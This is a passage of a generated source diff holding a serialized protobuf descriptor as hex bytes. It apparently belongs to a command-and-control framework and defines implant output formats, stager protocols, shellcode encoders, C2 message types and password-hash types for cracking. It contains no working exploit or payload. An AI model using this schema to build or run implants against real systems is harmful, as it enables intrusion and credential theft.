0x18, 0x04, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x0c, 0x53, 0x68, 0x61, 0x72, 0x65, + 0x64, 0x53, 0x65, 0x63, 0x72, 0x65, 0x74, 0x12, 0x1a, 0x0a, 0x08, 0x43, 0x6c, 0x69, 0x65, 0x6e, + 0x74, 0x49, 0x44, 0x18, 0x05, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x43, 0x6c, 0x69, 0x65, 0x6e, + 0x74, 0x49, 0x44, 0x12, 0x18, 0x0a, 0x07, 0x50, 0x61, 0x79, 0x6c, 0x6f, 0x61, 0x64, 0x18, 0x06, + 0x20, 0x01, 0x28, 0x09, 0x52, 0x07, 0x50, 0x61, 0x79, 0x6c, 0x6f, 0x61, 0x64, 0x22, 0x6f, 0x0a, + 0x0f, 0x54, 0x72, 0x69, 0x67, 0x67, 0x65, 0x72, 0x46, 0x69, 0x72, 0x65, 0x52, 0x65, 0x73, 0x70, + 0x12, 0x12, 0x0a, 0x04, 0x53, 0x65, 0x6e, 0x74, 0x18, 0x01, 0x20, 0x01, 0x28, 0x08, 0x52, 0x04, + 0x53, 0x65, 0x6e, 0x74, 0x12, 0x16, 0x0a, 0x06, 0x4f, 0x75, 0x74, 0x70, 0x75, 0x74, 0x18, 0x02, + 0x20, 0x01, 0x28, 0x09, 0x52, 0x06, 0x4f, 0x75, 0x74, 0x70, 0x75, 0x74, 0x12, 0x1a, 0x0a, 0x08, + 0x45, 0x78, 0x69, 0x74, 0x43, 0x6f, 0x64, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x05, 0x52, 0x08, + 0x45, 0x78, 0x69, 0x74, 0x43, 0x6f, 0x64, 0x65, 0x12, 0x14, 0x0a, 0x05, 0x45, 0x72, 0x72, 0x6f, + 0x72, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x45, 0x72, 0x72, 0x6f, 0x72, 0x2a, 0x5b, + 0x0a, 0x0c, 0x4f, 0x75, 0x74, 0x70, 0x75, 0x74, 0x46, 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x12, 0x0e, + 0x0a, 0x0a, 0x53, 0x48, 0x41, 0x52, 0x45, 0x44, 0x5f, 0x4c, 0x49, 0x42, 0x10, 0x00, 0x12, 0x0d, + 0x0a, 0x09, 0x53, 0x48, 0x45, 0x4c, 0x4c, 0x43, 0x4f, 0x44, 0x45, 0x10, 0x01, 0x12, 0x0e, 0x0a, + 0x0a, 0x45, 0x58, 0x45, 0x43, 0x55, 0x54, 0x41, 0x42, 0x4c, 0x45, 0x10, 0x02, 0x12, 0x0b, 0x0a, + 0x07, 0x53, 0x45, 0x52, 0x56, 0x49, 0x43, 0x45, 0x10, 0x03, 0x12, 0x0f, 0x0a, 0x0b, 0x54, 0x48, + 0x49, 0x52, 0x44, 0x5f, 0x50, 0x41, 0x52, 0x54, 0x59, 0x10, 0x04, 0x2a, 0x2d, 0x0a, 0x0d, 0x53, + 0x74, 0x61, 0x67, 0x65, 0x50, 0x72, 0x6f, 0x74, 0x6f, 0x63, 0x6f, 0x6c, 0x12, 0x07, 0x0a, 0x03, + 0x54, 0x43, 0x50, 0x10, 0x00, 0x12, 0x08, 0x0a, 0x04, 0x48, 0x54, 0x54, 0x50, 0x10, 0x01, 0x12, + 0x09, 0x0a, 0x05, 0x48, 0x54, 0x54, 0x50, 0x53, 0x10, 0x02, 0x2a, 0x2d, 0x0a, 0x08, 0x46, 0x69, + 0x6c, 0x65, 0x54, 0x79, 0x70, 0x65, 0x12, 0x0b, 0x0a, 0x07, 0x4e, 0x4f, 0x5f, 0x46, 0x49, 0x4c, + 0x45, 0x10, 0x00, 0x12, 0x0a, 0x0a, 0x06, 0x42, 0x49, 0x4e, 0x41, 0x52, 0x59, 0x10, 0x01, 0x12, + 0x08, 0x0a, 0x04, 0x54, 0x45, 0x58, 0x54, 0x10, 0x02, 0x2a, 0x4a, 0x0a, 0x10, 0x53, 0x68, 0x65, + 0x6c, 0x6c, 0x63, 0x6f, 0x64, 0x65, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x12, 0x08, 0x0a, + 0x04, 0x4e, 0x4f, 0x4e, 0x45, 0x10, 0x00, 0x12, 0x12, 0x0a, 0x0e, 0x53, 0x48, 0x49, 0x4b, 0x41, + 0x54, 0x41, 0x5f, 0x47, 0x41, 0x5f, 0x4e, 0x41, 0x49, 0x10, 0x01, 0x12, 0x07, 0x0a, 0x03, 0x58, + 0x4f, 0x52, 0x10, 0x02, 0x12, 0x0f, 0x0a, 0x0b, 0x58, 0x4f, 0x52, 0x5f, 0x44, 0x59, 0x4e, 0x41, + 0x4d, 0x49, 0x43, 0x10, 0x03, 0x2a, 0x35, 0x0a, 0x11, 0x48, 0x54, 0x54, 0x50, 0x43, 0x32, 0x53, + 0x65, 0x67, 0x6d, 0x65, 0x6e, 0x74, 0x54, 0x79, 0x70, 0x65, 0x12, 0x08, 0x0a, 0x04, 0x50, 0x4f, + 0x4c, 0x4c, 0x10, 0x00, 0x12, 0x0b, 0x0a, 0x07, 0x53, 0x45, 0x53, 0x53, 0x49, 0x4f, 0x4e, 0x10, + 0x01, 0x12, 0x09, 0x0a, 0x05, 0x43, 0x4c, 0x4f, 0x53, 0x45, 0x10, 0x02, 0x2a, 0x98, 0x13, 0x0a, + 0x08, 0x48, 0x61, 0x73, 0x68, 0x54, 0x79, 0x70, 0x65, 0x12, 0x07, 0x0a, 0x03, 0x4d, 0x44, 0x35, + 0x10, 0x00, 0x12, 0x08, 0x0a, 0x03, 0x4d, 0x44, 0x34, 0x10, 0x84, 0x07, 0x12, 0x08, 0x0a, 0x04, + 0x53, 0x48, 0x41, 0x31, 0x10, 0x64, 0x12, 0x0d, 0x0a, 0x08, 0x53, 0x48, 0x41, 0x32, 0x5f, 0x32, + 0x32, 0x34, 0x10, 0x94, 0x0a, 0x12, 0x0d, 0x0a, 0x08, 0x53, 0x48, 0x41, 0x32, 0x5f, 0x32, 0x35, + 0x36, 0x10, 0xf8, 0x0a, 0x12, 0x0d, 0x0a, 0x08, 0x53, 0x48, 0x41, 0x32, 0x5f, 0x33, 0x38, 0x34, + 0x10, 0xb0, 0x54, 0x12, 0x0d, 0x0a, 0x08, 0x53, 0x48, 0x41, 0x32, 0x5f, 0x35, 0x31, 0x32, 0x10, + 0xa4, 0x0d, 0x12, 0x0e, 0x0a, 0x08, 0x53, 0x48, 0x41, 0x33, 0x5f, 0x32, 0x32, 0x34, 0x10, 0x94, + 0x87, 0x01, 0x12, 0x0e, 0x0a, 0x08, 0x53, 0x48, 0x41, 0x33, 0x5f, 0x32, 0x35, 0x36, 0x10, 0xf8, + 0x87, 0x01, 0x12, 0x0e, 0x0a, 0x08, 0x53, 0x48, 0x41, 0x33, 0x5f, 0x33, 0x38, 0x34, 0x10, 0xdc, + 0x88, 0x01, 0x12, 0x0e, 0x0a, 0x08, 0x53, 0x48, 0x41, 0x33, 0x5f, 0x35, 0x31, 0x32, 0x10, 0xc0, + 0x89, 0x01, 0x12, 0x0f, 0x0a, 0x0a, 0x52, 0x49, 0x50, 0x45, 0x4d, 0x44, 0x5f, 0x31, 0x36, 0x30, + 0x10, 0xf0, 0x2e, 0x12, 0x10, 0x0a, 0x0b, 0x42, 0x4c, 0x41, 0x4b, 0x45, 0x32, 0x42, 0x5f, 0x32, + 0x35, 0x36, 0x10, 0xd8, 0x04, 0x12, 0x1a, 0x0a, 0x15, 0x47, 0x4f, 0x53, 0x54, 0x5f, 0x52, 0x5f, + 0x33, 0x32, 0x5f, 0x31, 0x31, 0x5f, 0x32, 0x30, 0x31, 0x32, 0x5f, 0x32, 0x35, 0x36, 0x10, 0xb4, + 0x5b, 0x12, 0x1a, 0x0a, 0x15, 0x47, 0x4f, 0x53, 0x54, 0x5f, 0x52, 0x5f, 0x33, 0x32, 0x5f, 0x31, + 0x31, 0x5f, 0x32, 0x30, 0x31, 0x32, 0x5f, 0x35, 0x31, 0x32, 0x10, 0x98, 0x5c, 0x12, 0x14, 0x0a, + 0x0f, 0x47, 0x4f, 0x53, 0x54, 0x5f, 0x52, 0x5f, 0x33, 0x34, 0x5f, 0x31, 0x31, 0x5f, 0x39, 0x34, + 0x10, 0xf4, 0x35, 0x12, 0x09, 0x0a, 0x03, 0x47, 0x50, 0x47, 0x10, 0xf2, 0x84, 0x01, 0x12, 0x0d, + 0x0a, 0x08, 0x48, 0x41, 0x4c, 0x46, 0x5f, 0x4d, 0x44, 0x35, 0x10, 0xec, 0x27, 0x12, 0x10, 0x0a, + 0x0a, 0x4b, 0x45, 0x43, 0x43, 0x41, 0x4b, 0x5f, 0x32, 0x32, 0x34, 0x10, 0xa4, 0x8a, 0x01, 0x12, + 0x10, 0x0a, 0x0a, 0x4b, 0x45, 0x43, 0x43, 0x41, 0x4b, 0x5f, 0x32, 0x35, 0x36, 0x10, 0x88, 0x8b, + 0x01, 0x12, 0x10, 0x0a, 0x0a, 0x4b, 0x45, 0x43, 0x43, 0x41, 0x4b, 0x5f, 0x33, 0x38, 0x34, 0x10, + 0xec, 0x8b, 0x01, 0x12, 0x10, 0x0a, 0x0a, 0x4b, 0x45, 0x43, 0x43, 0x41, 0x4b, 0x5f, 0x35, 0x31, + 0x32, 0x10, 0xd0, 0x8c, 0x01, 0x12, 0x0e, 0x0a, 0x09, 0x57, 0x48, 0x49, 0x52, 0x4c, 0x50, 0x4f, + 0x4f, 0x4c, 0x10, 0xd4, 0x2f, 0x12, 0x0c, 0x0a, 0x07, 0x53, 0x49, 0x50, 0x48, 0x41, 0x53, 0x48, + 0x10, 0xf4, 0x4e, 0x12, 0x0f, 0x0a, 0x0b, 0x4d, 0x44, 0x35, 0x5f, 0x55, 0x54, 0x46, 0x31, 0x36, + 0x4c, 0x45, 0x10, 0x46, 0x12, 0x11, 0x0a, 0x0c, 0x53, 0x48, 0x41, 0x31, 0x5f, 0x55, 0x54, 0x46, + 0x31, 0x36, 0x4c, 0x45, 0x10, 0xaa, 0x01, 0x12, 0x13, 0x0a, 0x0e, 0x53, 0x48, 0x41, 0x32, 0x35, + 0x36, 0x5f, 0x55, 0x54, 0x46, 0x31, 0x36, 0x4c, 0x45, 0x10, 0xbe, 0x0b, 0x12, 0x13, 0x0a, 0x0e, + 0x53, 0x48, 0x41, 0x33, 0x38, 0x34, 0x5f, 0x55, 0x54, 0x46, 0x31, 0x36, 0x4c, 0x45, 0x10, 0xf6, + 0x54, 0x12, 0x13, 0x0a, 0x0e, 0x53, 0x48, 0x41, 0x35, 0x31, 0x32, 0x5f, 0x55, 0x54, 0x46, 0x31, + 0x36, 0x4c, 0x45, 0x10, 0xea, 0x0d, 0x12, 0x18, 0x0a, 0x13, 0x42, 0x4c, 0x41, 0x4b, 0x45, 0x32, + 0x42, 0x5f, 0x35, 0x31, 0x32, 0x5f, 0x50, 0x57, 0x5f, 0x53, 0x41, 0x4c, 0x54, 0x10, 0xe2, 0x04, + 0x12, 0x18, 0x0a, 0x13, 0x42, 0x4c, 0x41, 0x4b, 0x45, 0x32, 0x42, 0x5f, 0x35, 0x31, 0x32, 0x5f, + 0x53, 0x41, 0x4c, 0x54, 0x5f, 0x50, 0x57, 0x10, 0xec, 0x04, 0x12, 0x0f, 0x0a, 0x0b, 0x4d, 0x44, + 0x35, 0x5f, 0x50, 0x57, 0x5f, 0x53, 0x41, 0x4c, 0x54, 0x10, 0x0a, 0x12, 0x0f, 0x0a, 0x0b, 0x4d, + 0x44, 0x35, 0x5f, 0x53, 0x41, 0x4c, 0x54, 0x5f, 0x50, 0x57, 0x10, 0x14, 0x12, 0x15, 0x0a, 0x10, + 0x4d, 0x44, 0x35, 0x5f, 0x53, 0x41, 0x4c, 0x54, 0x5f, 0x50, 0x57, 0x5f, 0x53, 0x41, 0x4c, 0x54, + 0x10, 0xd8, 0x1d, 0x12, 0x14, 0x0a, 0x0f, 0x4d, 0x44, 0x35, 0x5f, 0x53, 0x41, 0x4c, 0x54, 0x5f, + 0x4d, 0x44, 0x35, 0x5f, 0x50, 0x57, 0x10, 0xfe, 0x1c, 0x12, 0x0a, 0x0a, 0x05, 0x43, 0x52, 0x43, + 0x33, 0x32, 0x10, 0xec, 0x59, 0x12, 0x0c, 0x0a, 0x06, 0x43, 0x52, 0x43, 0x33, 0x32, 0x43, 0x10, + 0xfc, 0xd9, 0x01, 0x12, 0x10, 0x0a, 0x0a, 0x43, 0x52, 0x43, 0x36, 0x34, 0x4a, 0x6f, 0x6e, 0x65, + 0x73, 0x10, 0xe0, 0xda, 0x01, 0x12, 0x11, 0x0a, 0x0b, 0x4a, 0x41, 0x56, 0x41, 0x5f, 0x4f, 0x42, + 0x4a, 0x45, 0x43, 0x54, 0x10, 0x8c, 0x92, 0x01, 0x12, 0x0c, 0x0a, 0x06, 0x4d, 0x55, 0x52, 0x4d, + 0x55, 0x52, 0x10, 0xe4, 0xc8, 0x01, 0x12, 0x0d, 0x0a, 0x07, 0x4d, 0x55, 0x52, 0x4d, 0x55, 0x52, + 0x33, 0x10, 0x98, 0xd9, 0x01, 0x12, 0x0e, 0x0a, 0x09, 0x54, 0x48, 0x52, 0x45, 0x45, 0x5f, 0x44, + 0x45, 0x53, 0x10, 0x94, 0x6e, 0x12, 0x08, 0x0a, 0x03, 0x44, 0x45, 0x53, 0x10, 0xb0, 0x6d, 0x12, + 0x11, 0x0a, 0x0b, 0x41, 0x45, 0x53, 0x5f, 0x31, 0x32, 0x38, 0x5f, 0x45, 0x43, 0x42, 0x10, 0xa1, + 0xce, 0x01, 0x12, 0x11, 0x0a, 0x0b, 0x41, 0x45, 0x53, 0x5f, 0x31, 0x39, 0x32, 0x5f, 0x45, 0x43, + 0x42, 0x10, 0xa2, 0xce, 0x01, 0x12, 0x11, 0x0a, 0x0b, 0x41, 0x45, 0x53, 0x5f, 0x32, 0x35, 0x36, + 0x5f, 0x45, 0x43, 0x42, 0x10, 0xa3, 0xce, 0x01, 0x12, 0x0f, 0x0a, 0x0a, 0x43, 0x48, 0x41, 0x5f, + 0x43, 0x48, 0x41, 0x5f, 0x32, 0x30, 0x10, 0xa8, 0x78, 0x12, 0x1f, 0x0a, 0x1a, 0x4c, 0x49, 0x4e, + 0x55, 0x58, 0x5f, 0x4b, 0x45, 0x52, 0x4e, 0x45, 0x4c, 0x5f, 0x43, 0x52, 0x59, 0x50, 0x54, 0x4f, + 0x5f, 0x41, 0x50, 0x49, 0x5f, 0x32, 0x34, 0x10, 0xa4, 0x71, 0x12, 0x0c, 0x0a, 0x07, 0x53, 0x4b, + 0x49, 0x50, 0x5f, 0x33, 0x32, 0x10, 0xb4, 0x74, 0x12, 0x14, 0x0a, 0x0f, 0x50, 0x42, 0x4b, 0x44, + 0x46, 0x32, 0x5f, 0x48, 0x4d, 0x41, 0x43, 0x5f, 0x4d, 0x44, 0x35, 0x10, 0xfc, 0x5c, 0x12, 0x15, + 0x0a, 0x10, 0x50, 0x42, 0x4b, 0x44, 0x46, 0x32, 0x5f, 0x48, 0x4d, 0x41, 0x43, 0x5f, 0x53, 0x48, + 0x41, 0x31, 0x10, 0xe0, 0x5d, 0x12, 0x17, 0x0a, 0x12, 0x50, 0x42, 0x4b, 0x44, 0x46, 0x32, 0x5f, + 0x48, 0x4d, 0x41, 0x43, 0x5f, 0x53, 0x48, 0x41, 0x32, 0x35, 0x36, 0x10, 0x94, 0x55, 0x12, 0x17, + 0x0a, 0x12, 0x50, 0x42, 0x4b, 0x44, 0x46, 0x32, 0x5f, 0x48, 0x4d, 0x41, 0x43, 0x5f, 0x53, 0x48, + 0x41, 0x35, 0x31, 0x32, 0x10, 0xc4, 0x5e, 0x12, 0x0b, 0x0a, 0x06, 0x53, 0x43, 0x52, 0x59, 0x50, + 0x54, 0x10, 0xc4, 0x45, 0x12, 0x0b, 0x0a, 0x06, 0x50, 0x48, 0x50, 0x41, 0x53, 0x53, 0x10, 0x90, + 0x03, 0x12, 0x10, 0x0a, 0x0b, 0x54, 0x41, 0x43, 0x41, 0x43, 0x53, 0x5f, 0x50, 0x4c, 0x55, 0x53, + 0x10, 0xe4, 0x7d, 0x12, 0x0f, 0x0a, 0x0a, 0x53, 0x49, 0x50, 0x5f, 0x44, 0x49, 0x47, 0x45, 0x53, + 0x54, 0x10, 0x88, 0x59, 0x12, 0x0c, 0x0a, 0x07, 0x49, 0x4b, 0x45, 0x5f, 0x4d, 0x44, 0x35, 0x10, + 0xb4, 0x29, 0x12, 0x0d, 0x0a, 0x08, 0x49, 0x4b, 0x45, 0x5f, 0x53, 0x48, 0x41, 0x31, 0x10, 0x98, + 0x2a, 0x12, 0x19, 0x0a, 0x13, 0x53, 0x4e, 0x4d, 0x50, 0x5f, 0x56, 0x33, 0x5f, 0x48, 0x4d, 0x41, + 0x43, 0x5f, 0x4d, 0x44, 0x35, 0x5f, 0x39, 0x36, 0x10, 0x8c, 0xc4, 0x01, 0x12, 0x22, 0x0a, 0x1c, + 0x53, 0x4e, 0x4d, 0x50, 0x5f, 0x56, 0x33, 0x5f, 0x48, 0x4d, 0x41, 0x43, 0x5f, 0x4d, 0x44, 0x35, + 0x5f, 0x39, 0x36, 0x5f, 0x5f, 0x53, 0x48, 0x41, 0x31, 0x5f, 0x39, 0x36, 0x10, 0xa8, 0xc3, 0x01, + 0x12, 0x1a, 0x0a, 0x14, 0x53, 0x4e, 0x4d, 0x50, 0x5f, 0x56, 0x33, 0x5f, 0x48, 0x4d, 0x41, 0x43, + 0x5f, 0x53, 0x48, 0x41, 0x31, 0x5f, 0x39, 0x36, 0x10, 0xf0, 0xc4, 0x01, 0x12, 0x1d, 0x0a, 0x17, + 0x53, 0x4e, 0x4d, 0x50, 0x5f, 0x56, 0x33, 0x5f, 0x48, 0x4d, 0x41, 0x43, 0x5f, 0x53, 0x48, 0x41, + 0x32, 0x32, 0x34, 0x5f, 0x31, 0x32, 0x38, 0x10, 0xcc, 0xd0, 0x01, 0x12, 0x1d, 0x0a, 0x17, 0x53, + 0x4e, 0x4d, 0x50, 0x5f, 0x56, 0x33, 0x5f, 0x48, 0x4d, 0x41, 0x43, 0x5f, 0x53, 0x48, 0x41, 0x32, + 0x35, 0x36, 0x5f, 0x31, 0x39, 0x32, 0x10, 0xb0, 0xd1, 0x01, 0x12, 0x1d, 0x0a, 0x17, 0x53, 0x4e, + 0x4d, 0x50, 0x5f, 0x56, 0x33, 0x5f, 0x48, 0x4d, 0x41, 0x43, 0x5f, 0x53, 0x48, 0x41, 0x33, 0x38, + 0x34, 0x5f, 0x32, 0x35, 0x36, 0x10, 0x94, 0xd2, 0x01, 0x12, 0x1d, 0x0a, 0x17, 0x53, 0x4e, 0x4d, + 0x50, 0x5f, 0x56, 0x33, 0x5f, 0x48, 0x4d, 0x41, 0x43, 0x5f, 0x53, 0x48, 0x41, 0x35, 0x31, 0x32, + 0x5f, 0x33, 0x38, 0x34, 0x10, 0xa4, 0xd5, 0x01, 0x12, 0x15, 0x0a, 0x10, 0x57, 0x50, 0x41, 0x5f, + 0x45, 0x41, 0x50, 0x4f, 0x4c, 0x5f, 0x50, 0x42, 0x4b, 0x44, 0x46, 0x32, 0x10, 0xc4, 0x13, 0x12, + 0x12, 0x0a, 0x0d, 0x57, 0x50, 0x41, 0x5f, 0x45, 0x41, 0x50, 0x4f, 0x4c, 0x5f, 0x50, 0x4d, 0x4b, + 0x10, 0xc5, 0x13, 0x12, 0x1c, 0x0a, 0x16, 0x57, 0x50, 0x41, 0x5f, 0x50, 0x42, 0x4b, 0x44, 0x46, + 0x32, 0x5f, 0x50, 0x4d, 0x4b, 0x49, 0x44, 0x5f, 0x45, 0x41, 0x50, 0x4f, 0x4c, 0x10, 0xf0, 0xab, + 0x01, 0x12, 0x19, 0x0a, 0x13, 0x57, 0x50, 0x41, 0x5f, 0x50, 0x4d, 0x4b, 0x5f, 0x50, 0x4d, 0x4b, + 0x49, 0x44, 0x5f, 0x45, 0x41, 0x50, 0x4f, 0x4c, 0x10, 0xf1, 0xab, 0x01, 0x12, 0x16, 0x0a, 0x10, + 0x57, 0x50, 0x41, 0x5f, 0x50, 0x4d, 0x4b, 0x49, 0x44, 0x5f, 0x50, 0x42, 0x4b, 0x44, 0x46, 0x32, + 0x10, 0xa0, 0x83, 0x01, 0x12, 0x13, 0x0a, 0x0d, 0x57, 0x50, 0x41, 0x5f, 0x50, 0x4d, 0x4b, 0x49, + 0x44, 0x5f, 0x50, 0x4d, 0x4b, 0x10, 0xa1, 0x83, 0x01, 0x12, 0x19, 0x0a, 0x14, 0x49, 0x50, 0x4d, + 0x49, 0x32, 0x5f, 0x50, 0x41, 0x4b, 0x50, 0x5f, 0x48, 0x4d, 0x41, 0x43, 0x5f, 0x53, 0x48, 0x41, + 0x31, 0x10, 0x84, 0x39, 0x12, 0x0d, 0x0a, 0x08, 0x43, 0x52, 0x41, 0x4d, 0x5f, 0x4d, 0x44, 0x35, + 0x10, 0xd8, 0x4f, 0x12, 0x09, 0x0a, 0x03, 0x4a, 0x57, 0x54, 0x10, 0xf4, 0x80, 0x01, 0x12, 0x0e, + 0x0a, 0x08, 0x52, 0x41, 0x44, 0x4d, 0x49, 0x4e, 0x5f, 0x33, 0x10, 0x90, 0xe4, 0x01, 0x12, 0x19, + 0x0a, 0x13, 0x4b, 0x45, 0x52, 0x42, 0x45, 0x52, 0x4f, 0x53, 0x5f, 0x31, 0x37, 0x5f, 0x54, 0x47, + 0x53, 0x5f, 0x52, 0x45, 0x50, 0x10, 0x90, 0x99, 0x01, 0x12, 0x19, 0x0a, 0x13, 0x4b, 0x45, 0x52, + 0x42, 0x45, 0x52, 0x4f, 0x53, 0x5f, 0x31, 0x37, 0x5f, 0x50, 0x52, 0x45, 0x41, 0x55, 0x54, 0x48, + 0x10, 0xd8, 0x9a, 0x01, 0x12, 0x14, 0x0a, 0x0e, 0x4b, 0x45, 0x52, 0x42, 0x45, 0x52, 0x4f, 0x53, + 0x5f, 0x31, 0x37, 0x5f, 0x44, 0x42, 0x10, 0x80, 0xe1, 0x01, 0x12, 0x19, 0x0a, 0x13, 0x4b, 0x45, + 0x52, 0x42, 0x45, 0x52, 0x4f, 0x53, 0x5f, 0x31, 0x38, 0x5f, 0x54, 0x47, 0x53, 0x5f, 0x52, 0x45, + 0x50, 0x10, 0xf4, 0x99, 0x01, 0x12, 0x19, 0x0a, 0x13, 0x4b, 0x45, 0x52, 0x42, 0x45, 0x52, 0x4f, + 0x53, 0x5f, 0x31, 0x38, 0x5f, 0x50, 0x52, 0x45, 0x41, 0x55, 0x54, 0x48, 0x10, 0xbc, 0x9b, 0x01, + 0x12, 0x14, 0x0a, 0x0e, 0x4b, 0x45, 0x52, 0x42, 0x45, 0x52, 0x4f, 0x53, 0x5f, 0x31, 0x38, 0x5f, + 0x44, 0x42, 0x10, 0xe4, 0xe1, 0x01, 0x12, 0x1f, 0x0a, 0x1a, 0x4b, 0x45, 0x52, 0x42, 0x45, 0x52, + 0x4f, 0x53, 0x5f, 0x32, 0x33, 0x5f, 0x53, 0x41, 0x5f, 0x52, 0x45, 0x51, 0x5f, 0x50, 0x52, 0x45, + 0x41, 0x55, 0x54, 0x48, 0x10, 0xcc, 0x3a, 0x12, 0x18, 0x0a, 0x13, 0x4b, 0x45, 0x52, 0x42, 0x45, + 0x52, 0x4f, 0x53, 0x5f, 0x32, 0x33, 0x5f, 0x54, 0x47, 0x53, 0x5f, 0x52, 0x45, 0x50, 0x10, 0xac, + 0x66, 0x12, 0x18, 0x0a, 0x12, 0x4b, 0x45, 0x52, 0x42, 0x45, 0x52, 0x4f, 0x53, 0x5f, 0x32, 0x33, + 0x5f, 0x41, 0x53, 0x5f, 0x52, 0x45, 0x50, 0x10, 0x98, 0x8e, 0x01, 0x12, 0x10, 0x0a, 0x0b, 0x4e, + 0x45, 0x54, 0x5f, 0x4e, 0x54, 0x4c, 0x4d, 0x5f, 0x56, 0x31, 0x10, 0xfc, 0x2a, 0x12, 0x14, 0x0a, + 0x0e, 0x4e, 0x45, 0x54, 0x5f, 0x4e, 0x54, 0x4c, 0x4d, 0x5f, 0x56, 0x31, 0x5f, 0x4e, 0x54, 0x10, + 0xf8, 0xd2, 0x01, 0x12, 0x10, 0x0a, 0x0b, 0x4e, 0x45, 0x54, 0x5f, 0x4e, 0x54, 0x4c, 0x4d, 0x5f, + 0x56, 0x32, 0x10, 0xe0, 0x2b, 0x12, 0x14, 0x0a, 0x0e, 0x4e, 0x45, 0x54, 0x5f, 0x4e, 0x54, 0x4c, + 0x4d, 0x5f, 0x56, 0x32, 0x5f, 0x4e, 0x54, 0x10, 0xdc, 0xd3, 0x01, 0x12, 0x0b, 0x0a, 0x05, 0x46, + 0x4c, 0x41, 0x53, 0x4b, 0x10, 0xac, 0xe3, 0x01, 0x12, 0x0f, 0x0a, 0x0a, 0x49, 0x53, 0x43, 0x53, + 0x49, 0x5f, 0x43, 0x48, 0x41, 0x50, 0x10, 0xc0, 0x25, 0x12, 0x09, 0x0a, 0x04, 0x52, 0x41, 0x43, + 0x46, 0x10, 0xb4, 0x42, 0x12, 0x0d, 0x0a, 0x08, 0x41, 0x49, 0x58, 0x5f, 0x53, 0x4d, 0x44, 0x35, + 0x10, 0x9c, 0x31, 0x12, 0x0e, 0x0a, 0x09, 0x41, 0x49, 0x58, 0x5f, 0x53, 0x53, 0x48, 0x41, 0x31, + 0x10, 0xac, 0x34, 0x12, 0x10, 0x0a, 0x0b, 0x41, 0x49, 0x58, 0x5f, 0x53, 0x53, 0x48, 0x41, 0x32, + 0x35, 0x36, 0x10, 0x80, 0x32, 0x12, 0x10, 0x0a, 0x0b, 0x41, 0x49, 0x58, 0x5f, 0x53, 0x53, 0x48, + 0x41, 0x35, 0x31, 0x32, 0x10, 0xe4, 0x32, 0x12, 0x07, 0x0a, 0x02, 0x4c, 0x4d, 0x10, 0xb8, 0x17, + 0x12, 0x0d, 0x0a, 0x07, 0x51, 0x4e, 0x58, 0x5f, 0x4d, 0x44, 0x35, 0x10, 0xb8, 0x94, 0x01, 0x12, + 0x10, 0x0a, 0x0a, 0x51, 0x4e, 0x58, 0x5f, 0x53, 0x48, 0x41, 0x32, 0x35, 0x36, 0x10, 0x9c, 0x95, + 0x01, 0x12, 0x10, 0x0a, 0x0a, 0x51, 0x4e, 0x58, 0x5f, 0x53, 0x48, 0x41, 0x35, 0x31, 0x32, 0x10, + 0x80, 0x96, 0x01, 0x12, 0x19, 0x0a, 0x14, 0x44, 0x50, 0x41, 0x50, 0x49, 0x5f, 0x56, 0x31, 0x5f, + 0x43, 0x54, 0x58, 0x5f, 0x31, 0x5f, 0x41, 0x4e, 0x44, 0x5f, 0x32, 0x10, 0xc4, 0x77, 0x12, 0x13, + 0x0a, 0x0e, 0x44, 0x50, 0x41, 0x50, 0x49, 0x5f, 0x56, 0x31, 0x5f, 0x43, 0x54, 0x58, 0x5f, 0x33, + 0x10, 0xce, 0x77, 0x12, 0x19, 0x0a, 0x14, 0x44, 0x50, 0x41, 0x50, 0x49, 0x5f, 0x56, 0x32, 0x5f, + 0x43, 0x54, 0x58, 0x5f, 0x31, 0x5f, 0x41, 0x4e, 0x44, 0x5f, 0x32, 0x10, 0x9c, 0x7c, 0x12, 0x13, + 0x0a, 0x0e, 0x44, 0x50, 0x41, 0x50, 0x49, 0x5f, 0x56, 0x32, 0x5f, 0x43, 0x54, 0x58, 0x5f, 0x33, + 0x10, 0xa6, 0x7c, 0x12, 0x0b, 0x0a, 0x06, 0x47, 0x52, 0x55, 0x42, 0x5f, 0x32, 0x10, 0xa0, 0x38, + 0x12, 0x12, 0x0a, 0x0d, 0x4d, 0x53, 0x5f, 0x41, 0x5a, 0x55, 0x52, 0x45, 0x5f, 0x53, 0x59, 0x4e, + 0x43, 0x10, 0x80, 0x64, 0x12, 0x0f, 0x0a, 0x0a, 0x42, 0x53, 0x44, 0x49, 0x5f, 0x43, 0x52, 0x59, + 0x50, 0x54, 0x10, 0xf0, 0x60, 0x12, 0x09, 0x0a, 0x04, 0x4e, 0x54, 0x4c, 0x4d, 0x10, 0xe8, 0x07, + 0x12, 0x0c, 0x0a, 0x07, 0x52, 0x41, 0x44, 0x4d, 0x49, 0x4e, 0x32, 0x10, 0xac, 0x4d, 0x12, 0x14, + 0x0a, 0x0f, 0x53, 0x41, 0x4d, 0x53, 0x55, 0x4e, 0x47, 0x5f, 0x41, 0x4e, 0x44, 0x52, 0x4f, 0x49, + 0x44, 0x10, 0xa8, 0x2d, 0x12, 0x17, 0x0a, 0x11, 0x57, 0x49, 0x4e, 0x44, 0x4f, 0x57, 0x53, 0x5f, + 0x48, 0x45, 0x4c, 0x4c, 0x4f, 0x5f, 0x50, 0x49, 0x4e, 0x10, 0xc4, 0xdb, 0x01, 0x12, 0x12, 0x0a, + 0x0d, 0x57, 0x49, 0x4e, 0x44, 0x4f, 0x57, 0x53, 0x5f, 0x50, 0x48, 0x4f, 0x4e, 0x45, 0x10, 0xe8, + 0x6b, 0x12, 0x12, 0x0a, 0x0d, 0x43, 0x49, 0x53, 0x43, 0x4f, 0x5f, 0x41, 0x53, 0x41, 0x5f, 0x4d, + 0x44, 0x35, 0x10, 0xea, 0x12, 0x12, 0x1c, 0x0a, 0x17, 0x43, 0x49, 0x53, 0x43, 0x4f, 0x5f, 0x49, + 0x4f, 0x53, 0x5f, 0x50, 0x42, 0x4b, 0x44, 0x46, 0x32, 0x5f, 0x53, 0x48, 0x41, 0x32, 0x35, 0x36, + 0x10, 0xf0, 0x47, 0x12, 0x15, 0x0a, 0x10, 0x43, 0x49, 0x53, 0x43, 0x4f, 0x5f, 0x49, 0x4f, 0x53, + 0x5f, 0x53, 0x43, 0x52, 0x59, 0x50, 0x54, 0x10, 0xd4, 